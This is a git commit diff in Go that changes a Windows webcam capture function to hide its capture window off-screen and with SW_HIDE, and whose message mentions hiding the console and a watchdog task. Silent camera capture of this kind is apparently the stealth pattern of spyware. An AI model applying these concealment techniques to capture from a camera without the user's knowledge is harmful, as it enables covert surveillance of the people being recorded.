fix(windows): prevent console window flash
- Centralize hidden-process setup per OS - Hide console early to avoid startup flash - Keep capture window off-screen and hidden - Enable unified scheduler for watchdog task - Force GUI subsystem in build script
This commit is contained in:
@@ -25,21 +25,23 @@ var (
|
||||
procCapGetDriverDescriptionW = avicap32.NewProc("capGetDriverDescriptionW")
|
||||
procSendMessageW = user32.NewProc("SendMessageW")
|
||||
procDestroyWindow = user32.NewProc("DestroyWindow")
|
||||
procShowWindow = user32.NewProc("ShowWindow")
|
||||
captureMu sync.Mutex
|
||||
)
|
||||
|
||||
const (
|
||||
wmUser = 0x0400
|
||||
wmCapStart = wmUser
|
||||
wmCapUnicodeStart = wmUser + 100
|
||||
wmCapDriverConnect = wmCapStart + 10
|
||||
wmUser = 0x0400
|
||||
wmCapStart = wmUser
|
||||
wmCapUnicodeStart = wmUser + 100
|
||||
wmCapDriverConnect = wmCapStart + 10
|
||||
wmCapDriverDisconnect = wmCapStart + 11
|
||||
wmCapFileSaveDIBW = wmCapUnicodeStart + 25
|
||||
wmCapGrabFrame = wmCapStart + 60
|
||||
wmCapSetPreview = wmCapStart + 50
|
||||
wmCapSetScale = wmCapStart + 53
|
||||
wsPopup = 0x80000000
|
||||
maxDrivers = 10
|
||||
wmCapFileSaveDIBW = wmCapUnicodeStart + 25
|
||||
wmCapGrabFrame = wmCapStart + 60
|
||||
wmCapSetPreview = wmCapStart + 50
|
||||
wmCapSetScale = wmCapStart + 53
|
||||
wsPopup = 0x80000000
|
||||
swHide = 0
|
||||
maxDrivers = 10
|
||||
)
|
||||
|
||||
type Device struct {
|
||||
@@ -99,15 +101,17 @@ func Capture(index int, format string, quality int) (models.CapturedImage, error
|
||||
if err != nil {
|
||||
return models.CapturedImage{}, err
|
||||
}
|
||||
off := ^uintptr(31999) // -32000, off-screen so VFW's HWND never appears
|
||||
hwnd, _, callErr := procCapCreateCaptureWindowW.Call(
|
||||
uintptr(unsafe.Pointer(title)),
|
||||
wsPopup,
|
||||
0, 0, 320, 240,
|
||||
wsPopup, // no WS_VISIBLE
|
||||
off, off, 320, 240,
|
||||
0, 0,
|
||||
)
|
||||
if hwnd == 0 {
|
||||
return models.CapturedImage{}, fmt.Errorf("create capture window: %w", callErr)
|
||||
}
|
||||
_, _, _ = procShowWindow.Call(hwnd, uintptr(swHide))
|
||||
defer procDestroyWindow.Call(hwnd)
|
||||
|
||||
ok, _, _ := procSendMessageW.Call(hwnd, wmCapDriverConnect, uintptr(index), 0)
|
||||
|
||||
Reference in New Issue
Block a user